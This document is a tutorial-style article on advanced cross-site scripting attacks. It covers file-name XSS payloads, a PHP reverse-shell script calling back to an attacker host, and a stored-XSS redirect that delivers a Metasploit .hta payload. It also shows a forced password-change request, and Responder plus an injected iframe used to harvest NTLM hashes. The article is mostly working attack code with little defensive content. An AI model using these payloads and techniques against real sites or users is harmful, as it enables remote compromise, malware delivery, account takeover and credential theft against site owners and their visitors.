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Mastering Advanced XSS Attacks: Unleash Your Cybersecurity Skills

After grasping the basics of XSS vulnerabilities, it’s time to dive into the fascinating world of what these security flaws can achieve and the actions attackers can perform on the target system. This article will guide you through various advanced XSS attack techniques, including file upload exploits, reverse shell acquisition, remote code execution, and user account manipulation.

File Upload Exploits: A Stealthy Intrusion

Websites often allow users to upload files like photos or documents. This process involves file upload objects that enable users to submit files to the system. However, if a website doesn’t properly validate the names of uploaded files, it can lead to XSS vulnerabilities. Here’s an example:

An attacker can rename a file with a JavaScript code snippet:

<img src=x onerror=prompt(1)>

When this file is uploaded and its name is displayed on the page, the XSS vulnerability is triggered, executing the embedded script.

Reverse Shell via XSS: Taking Control

Beyond creating pop-ups or redirecting users, XSS vulnerabilities can be exploited to gain a reverse shell on the target system. This can be achieved using a PHP script that sends a reverse shell connection to the attacker’s machine. Here’s a PHP code snippet that demonstrates this:

$ip = 'attacker_ip';
$port = 'attacker_port';
$socket = fsockopen($ip, $port);
if ($socket) {
    while (!feof($socket)) {
        $command = fgets($socket);
        $output = shell_exec($command);
        fwrite($socket, $output);
    }
    fclose($socket);
}

To execute this PHP file, an attacker can use an XSS payload to make a request to the uploaded PHP file:

<script>window.location = 'http://target_site/file_upload/ReverseXSS.php'</script>

When this script is executed, the attacker’s machine will receive a reverse shell connection, allowing them to execute commands on the target system.

Remote Code Execution (RCE) via XSS: The Watering Hole Attack

In a scenario known as a “Watering Hole” attack, an attacker can exploit a stored XSS vulnerability to distribute a malicious HTML application file (.hta) to users visiting the target website. This file, when executed, can provide the attacker with a shell connection to the user’s system.

To carry out this attack, the attacker can use the Metasploit Framework to create and host the malicious .hta file. The following JavaScript code can be injected into a web page with a stored XSS vulnerability:

<script>window.location = 'http://attacker_ip:port/malicious.hta'</script>

When a user visits the compromised web page, their browser will automatically download the malicious file. If the user executes this file, the attacker gains a meterpreter session, allowing them to control the user’s system.

User Account Manipulation: The Silent Threat

XSS vulnerabilities can also be used to manipulate user accounts on a target website. For example, an attacker can change user passwords by exploiting a stored XSS vulnerability. The following code snippet demonstrates how an attacker can change user passwords:

<img src="http://target_site/change_password?pass1=new_password&pass2=new_password&Change=Change">

When this code is injected into a web page with a stored XSS vulnerability, any user visiting the page will have their password changed to “new_password”.

Capturing NTLM Hash Values: The Invisible Danger

XSS vulnerabilities can also be used to capture NTLM hash values of user passwords. This can be achieved using a tool like Responder to listen for NTLM authentication attempts. The following command can be used to start listening:

responder -I eth0

An attacker can then inject an iframe into a vulnerable web page to load a malicious script:

<iframe src="http://attacker_ip/scriptlet.html">

When a user visits the compromised web page, a popup will appear asking for their username and password. If the user enters their credentials, the NTLM hash values will be captured and sent to the attacker’s machine.

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